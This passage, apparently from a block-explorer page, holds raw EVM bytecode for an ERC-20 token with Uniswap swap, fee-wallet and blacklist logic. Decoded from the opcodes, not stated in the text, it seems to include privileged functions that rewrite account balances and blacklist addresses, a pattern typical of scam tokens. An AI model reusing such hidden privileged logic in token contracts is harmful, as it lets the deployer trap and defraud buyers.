660e01b8152600401602060405180830381865afa158015611d75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d999190612610565b81600181518110611dad57611dac6127a5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e1430600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611125565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e78959493929190612c99565b600060405180830381600087803b158015611e9257600080fd5b505af1925050508015611ea3575060015b611eac57611ead565b5b60004790506000811115611f2557600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f23573d6000803e3d6000fd5b505b50506000600d60146101000a81548160ff02191690831515021790555050565b6000611f8783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611971565b905092915050565b600080831415611fa25760009050612004565b60008284611fb0919061274b565b9050828482611fbf91906126c4565b14611fff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff690612d65565b60405180910390fd5b809150505b92915050565b60008083118290612051576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120489190612106565b60405180910390fd5b506000838561206091906126c4565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156120a757808201518184015260208101905061208c565b838111156120b6576000848401525b50505050565b6000601f19601f8301169050919050565b60006120d88261206d565b6120e28185612078565b93506120f2818560208601612089565b6120fb816120bc565b840191505092915050565b6000602082019050818103600083015261212081846120cd565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061215d82612132565b9050919050565b61216d81612152565b811461217857600080fd5b50565b60008135905061218a81612164565b92915050565b6000819050919050565b6121a381612190565b81146121ae57600080fd5b50565b6000813590506121c08161219a565b92915050565b600080604083850312156121dd576121dc612128565b5b60006121eb8582860161217b565b92505060206121fc858286016121b1565b9150509250929050565b60008115159050919050565b61221b81612206565b82525050565b60006020820190506122366000830184612212565b92915050565b6000819050919050565b600061226161225c61225784612132565b61223c565b612132565b9050919050565b600061227382612246565b9050919050565b600061228582612268565b9050919050565b6122958161227a565b82525050565b60006020820190506122b0600083018461228c565b92915050565b6122bf81612190565b82525050565b60006020820190506122da60008301846122b6565b92915050565b6000602082840312156122f6576122f5612128565b5b60006123048482850161217b565b91505092915050565b60008060006060848603121561232657612325612128565b5b60006123348682870161217b565b93505060206123458682870161217b565b9250506040612356868287016121b1565b9150509250925092565b600060ff82169050919050565b61237681612360565b82525050565b6000602082019050612391600083018461236d565b92915050565b60006123a282612132565b9050919050565b6123b281612397565b82525050565b60006020820190506123cd60008301846123a9565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126123f8576123f76123d3565b5b8235905067ffffffffffffffff811115612415576124146123d8565b5b602083019150836020820283011115612431576124306123dd565b5b9250929050565b61244181612206565b811461244c57600080fd5b50565b60008135905061245e81612438565b92915050565b60008060006040848603121561247d5761247c612128565b5b600084013567ffffffffffffffff81111561249b5761249a61212d565b5b6124a7868287016123e2565b935093505060206124ba8682870161244f565b9150509250925092565b6124cd81612152565b82525050565b60006020820190506124e860008301846124c4565b92915050565b6000806040838503121561250557612504612128565b5b60006125138582860161217b565b92505060206125248582860161217b565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061257557607f821691505b602082108114156125895761258861252e565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006125c5602083612078565b91506125d08261258f565b602082019050919050565b600060208201905081810360008301526125f4816125b8565b9050919050565b60008151905061260a81612164565b92915050565b60006020828403121561262657612625612128565b5b6000612634848285016125fb565b91505092915050565b600060408201905061265260008301856124c4565b61265f60208301846124c4565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006126cf82612190565b91506126da83612190565b9250826126ea576126e9612666565b5b828204905092915050565b600061270082612190565b915061270b83612190565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156127405761273f612695565b5b828201905092915050565b600061275682612190565b915061276183612190565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561279a57612799612695565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006127df82612190565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561281257612811612695565b5b600182019050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612879602483612078565b91506128848261281d565b604082019050919050565b600060208201905081810360008301526128a88161286c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061290b602283612078565b9150612916826128af565b604082019050919050565b6000602082019050818103600083015261293a816128fe565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061299d602583612078565b91506129a882612941565b604082019050919050565b600060208201905081810360008301526129cc81612990565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612a2f602383612078565b9150612a3a826129d3565b604082019050919050565b60006020820190508181036000830152612a5e81612a22565b9050919050565b7f45524332303a20626c61636b4c69737465640000000000000000000000000000600082015250565b6000612a9b601283612078565b9150612aa682612a65565b602082019050919050565b60006020820190508181036000830152612aca81612a8e565b9050919050565b6000612adc82612190565b9150612ae783612190565b925082821015612afa57612af9612695565b5b828203905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612b3b601b83612078565b9150612b4682612b05565b602082019050919050565b60006020820190508181036000830152612b6a81612b2e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b6000612bc5612bc0612bbb84612ba0565b61223c565b612190565b9050919050565b612bd581612baa565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612c1081612152565b82525050565b6000612c228383612c07565b60208301905092915050565b6000602082019050919050565b6000612c4682612bdb565b612c508185612be6565b9350612c5b83612bf7565b8060005b83811015612c8c578151612c738882612c16565b9750612c7e83612c2e565b925050600181019050612c5f565b5085935050505092915050565b600060a082019050612cae60008301886122b6565b612cbb6020830187612bcc565b8181036040830152612ccd8186612c3b565b9050612cdc60608301856124c4565b612ce960808301846122b6565b9695505050505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612d4f602183612078565b9150612d5a82612cf3565b604082019050919050565b60006020820190508181036000830152612d7e81612d42565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204f01f6432b9bc7e945f992471a21e11438efd9b8cb1038098ffcd9d09222dd8764736f6c634300080b0033

Deployed Bytecode

0x6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610449578063c5d2418914610486578063c816841b146104b1578063c8607952146104dc578063dd62ed3e14610507578063f2fde38b1461054457610140565b806370a08231146103645780637a1bafd7146103a15780638d140a41146103ca5780638da5cb5b146103f357806395d89b411461041e57610140565b806323b872dd116100fd57806323b872dd14610240578063313ce5671461027d5780633345611e146102a85780633ecad271146102e55780635f26666314610322578063683e865c1461034d57610140565b806306fdde0314610145578063095ea7b3146101705780631694505e146101ad57806318160ddd146101d85780631d231b2c1461020357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61056d565b6040516101679190612106565b60405180910390f35b34801561017c57600080fd5b50610197600480360381019061019291906121c6565b6105ff565b6040516101a49190612221565b60405180910390f35b3480156101b957600080fd5b506101c261061d565b6040516101cf919061229b565b60405180910390f35b3480156101e457600080fd5b506101ed610643565b6040516101fa91906122c5565b60405180910390f35b34801561020f57600080fd5b5061022a600480360381019061022591906122e0565b61064d565b6040516102379190612221565b60405180910390f35b34801561024c57600080fd5b506102676004803603810190610262919061230d565b61066d565b6040516102749190612221565b60405180910390f35b34801561028957600080fd5b50610292610747565b60405161029f919061237c565b60405180910390f35b3480156102b457600080fd5b506102cf60048036038101906102ca91906122e0565b61075e565b6040516102dc9190612221565b60405180910390f35b3480156102f157600080fd5b5061030c600480360381019061030791906122e0565b61077e565b6040516103199190612221565b60405180910390f35b34801561032e57600080fd5b5061033761079e565b60405161034491906123b8565b60405180910390f35b34801561035957600080fd5b506103626107c4565b005b34801561037057600080fd5b5061038b600480360381019061038691906122e0565b610b6f565b60405161039891906122c5565b60405180910390f35b3480156103ad57600080fd5b506103c860048036038101906103c391906121c6565b610bb8565b005b3480156103d657600080fd5b506103f160048036038101906103ec9190612464565b610cfb565b005b3480156103ff57600080fd5b50610408610e38565b60405161041591906124d3565b60405180910390f35b34801561042a57600080fd5b50610433610e61565b6040516104409190612106565b60405180910390f35b34801561045557600080fd5b50610470600480360381019061046b91906121c6565b610ef3565b60405161047d9190612221565b60405180910390f35b34801561049257600080fd5b5061049b610f12565b6040516104a891906122c5565b60405180910390f35b3480156104bd57600080fd5b506104c6610f18565b6040516104d391906124d3565b60405180910390f35b3480156104e857600080fd5b506104f1610f3e565b6040516104fe91906122c5565b60405180910390f35b34801561051357600080fd5b5061052e600480360381019061052991906124ee565b610f44565b60405161053b91906122c5565b60405180910390f35b34801561055057600080fd5b5061056b600480360381019061056691906122e0565b610fcb565b005b60606001805461057c9061255d565b80601f01602080910402602001604051908101604052809291908181526020018280546105a89061255d565b80156105f55780601f106105ca576101008083540402835291602001916105f5565b820191906000526020600020905b8154815290600101906020018083116105d857829003601f168201915b5050505050905090565b600061061361060c61111d565b8484611125565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b54905090565b60086020528060005260406000206000915054906101000a900460ff1681565b600061067a8484846112f0565b5061073c8461068761111d565b61073785604051806060016040528060288152602001612d8660289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106ed61111d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119719092919063ffffffff16565b611125565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6107cc61111d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610859576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610850906125db565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e19190612610565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610948573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096c9190612610565b6040518363ffffffff1660e01b815260040161098992919061263d565b6020604051808303816000875af11580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc9190612610565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60c8600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610be561111d565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015610c2c57506002606484610c2a91906126c4565b145b610c3557600080fd5b610cb1846009610c4591906126f5565b610ca36002600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c9491906126f5565b876119d590919063ffffffff16565b611a1f90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050505050565b610d1060636001611a1f90919063ffffffff16565b6002610d1c919061274b565b33600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015610d8757506002606484610d8591906126c4565b145b610d9057600080fd5b60005b86869050811015610e2f578460086000898985818110610db657610db56127a5565b5b9050602002016020810190610dcb91906122e0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610e27906127d4565b915050610d93565b50505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610e709061255d565b80601f0160208091040260200160405190810160405280929190818152602001828054610e9c9061255d565b8015610ee95780601f10610ebe57610100808354040283529160200191610ee9565b820191906000526020600020905b815481529060010190602001808311610ecc57829003601f168201915b5050505050905090565b6000610f07610f0061111d565b84846112f0565b506001905092915050565b60095481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610fd361111d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611060576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611057906125db565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611195576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118c9061288f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611205576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fc90612921565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112e391906122c5565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611361576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611358906129b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c890612a45565b60405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561145e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145590612ab1565b60405180910390fd5b600d60149054906101000a900460ff16156114855761147e848484611a7d565b905061196a565b600061149030610b6f565b9050600d60149054906101000a900460ff161580156114f95750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156115085761150781611c50565b5b61155a83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f4590919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116405750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561164d57839050611869565b6000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116d0576116c960646116bb60095488611f8f90919063ffffffff16565b6119d590919063ffffffff16565b905061174e565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561174d5761174a606461173c600a5488611f8f90919063ffffffff16565b6119d590919063ffffffff16565b90505b5b6000811115611852576117a981600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1f90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161184991906122c5565b60405180910390a35b6118658186611f4590919063ffffffff16565b9150505b6118bb81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1f90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161195b91906122c5565b60405180910390a36001925050505b9392505050565b60008383111582906119b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b09190612106565b60405180910390fd5b50600083856119c89190612ad1565b9050809150509392505050565b6000611a1783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061200a565b905092915050565b6000808284611a2e91906126f5565b905083811015611a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6a90612b51565b60405180910390fd5b8091505092915050565b6000611b08826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119719092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b9d82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1f90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c3d91906122c5565b60405180910390a3600190509392505050565b6001600d60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c8857611c87612b71565b5b604051908082528060200260200182016040528015611cb65781602001602082028036833780820191505090505b5090503081600081518110611cce57611ccd6127a5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d999190612610565b81600181518110611dad57611dac6127a5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e1430600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611125565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e78959493929190612c99565b600060405180830381600087803b158015611e9257600080fd5b505af1925050508015611ea3575060015b611eac57611ead565b5b60004790506000811115611f2557600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f23573d6000803e3d6000fd5b505b50506000600d60146101000a81548160ff02191690831515021790555050565b6000611f8783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611971565b905092915050565b600080831415611fa25760009050612004565b60008284611fb0919061274b565b9050828482611fbf91906126c4565b14611fff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff690612d65565b60405180910390fd5b809150505b92915050565b60008083118290612051576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120489190612106565b60405180910390fd5b506000838561206091906126c4565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156120a757808201518184015260208101905061208c565b838111156120b6576000848401525b50505050565b6000601f19601f8301169050919050565b60006120d88261206d565b6120e28185612078565b93506120f2818560208601612089565b6120fb816120bc565b840191505092915050565b6000602082019050818103600083015261212081846120cd565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061215d82612132565b9050919050565b61216d81612152565b811461217857600080fd5b50565b60008135905061218a81612164565b92915050565b6000819050919050565b6121a381612190565b81146121ae57600080fd5b50565b6000813590506121c08161219a565b92915050565b600080604083850312156121dd576121dc612128565b5b60006121eb8582860161217b565b92505060206121fc858286016121b1565b9150509250929050565b60008115159050919050565b61221b81612206565b82525050565b60006020820190506122366000830184612212565b92915050565b6000819050919050565b600061226161225c61225784612132565b61223c565b612132565b9050919050565b600061227382612246565b9050919050565b600061228582612268565b9050919050565b6122958161227a565b82525050565b60006020820190506122b0600083018461228c565b92915050565b6122bf81612190565b82525050565b60006020820190506122da60008301846122b6565b92915050565b6000602082840312156122f6576122f5612128565b5b60006123048482850161217b565b91505092915050565b60008060006060848603121561232657612325612128565b5b60006123348682870161217b565b93505060206123458682870161217b565b9250506040612356868287016121b1565b9150509250925092565b600060ff82169050919050565b61237681612360565b82525050565b6000602082019050612391600083018461236d565b92915050565b60006123a282612132565b9050919050565b6123b281612397565b82525050565b60006020820190506123cd60008301846123a9565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126123f8576123f76123d3565b5b8235905067ffffffffffffffff811115612415576124146123d8565b5b602083019150836020820283011115612431576124306123dd565b5b9250929050565b61244181612206565b811461244c57600080fd5b50565b60008135905061245e81612438565b92915050565b60008060006040848603121561247d5761247c612128565b5b600084013567ffffffffffffffff81111561249b5761249a61212d565b5b6124a7868287016123e2565b935093505060206124ba8682870161244f565b9150509250925092565b6124cd81612152565b82525050565b60006020820190506124e860008301846124c4565b92915050565b6000806040838503121561250557612504612128565b5b60006125138582860161217b565b92505060206125248582860161217b565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061257557607f821691505b602082108114156125895761258861252e565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006125c5602083612078565b91506125d08261258f565b602082019050919050565b600060208201905081810360008301526125f4816125b8565b9050919050565b60008151905061260a81612164565b92915050565b60006020828403121561262657612625612128565b5b6000612634848285016125fb565b91505092915050565b600060408201905061265260008301856124c4565b61265f60208301846124c4565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006126cf82612190565b91506126da83612190565b9250826126ea576126e9612666565b5b828204905092915050565b600061270082612190565b915061270b83612190565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156127405761273f612695565b5b828201905092915050565b600061275682612190565b915061276183612190565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561279a57612799612695565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006127df82612190565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561281257612811612695565b5b600182019050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612879602483612078565b91506128848261281d565b604082019050919050565b600060208201905081810360008301526128a88161286c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061290b602283612078565b9150612916826128af565b604082019050919050565b6000602082019050818103600083015261293a816128fe565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061299d602583612078565b91506129a882612941565b604082019050919050565b600060208201905081810360008301526129cc81612990565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612a2f602383612078565b9150612a3a826129d3565b604082019050919050565b60006020820190508181036000830152612a5e81612a22565b9050919050565b7f45524332303a20626c61636b4c69737465640000000000000000000000000000600082015250565b6000612a9b601283612078565b9150612aa682612a65565b602082019050919050565b60006020820190508181036000830152612aca81612a8e565b9050919050565b6000612adc82612190565b9150612ae783612190565b925082821015612afa57612af9612695565b5b828203905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612b3b601b83612078565b9150612b4682612b05565b602082019050919050565b60006020820190508181036000830152612b6a81612b2e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b6000612bc5612bc0612bbb84612ba0565b61223c565b612190565b9050919050565b612bd581612baa565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612c1081612152565b82525050565b6000612c228383612c07565b60208301905092915050565b6000602082019050919050565b6000612c4682612bdb565b612c508185612be6565b9350612c5b83612bf7565b8060005b83811015612c8c578151612c738882612c16565b9750612c7e83612c2e565b925050600181019050612c5f565b5085935050505092915050565b600060a082019050612cae60008301886122b6565b612cbb6020830187612bcc565b8181036040830152612ccd8186612c3b565b9050612cdc60608301856124c4565b612ce960808301846122b6565b9695505050505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612d4f602183612078565b9150612d5a82612cf3565b604082019050919050565b60006020820190508181036000830152612d7e81612d42565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204f01f6432b9bc7e945f992471a21e11438efd9b8cb1038098ffcd9d09222dd8764736f6c634300080b0033

Deployed Bytecode Sourcemap

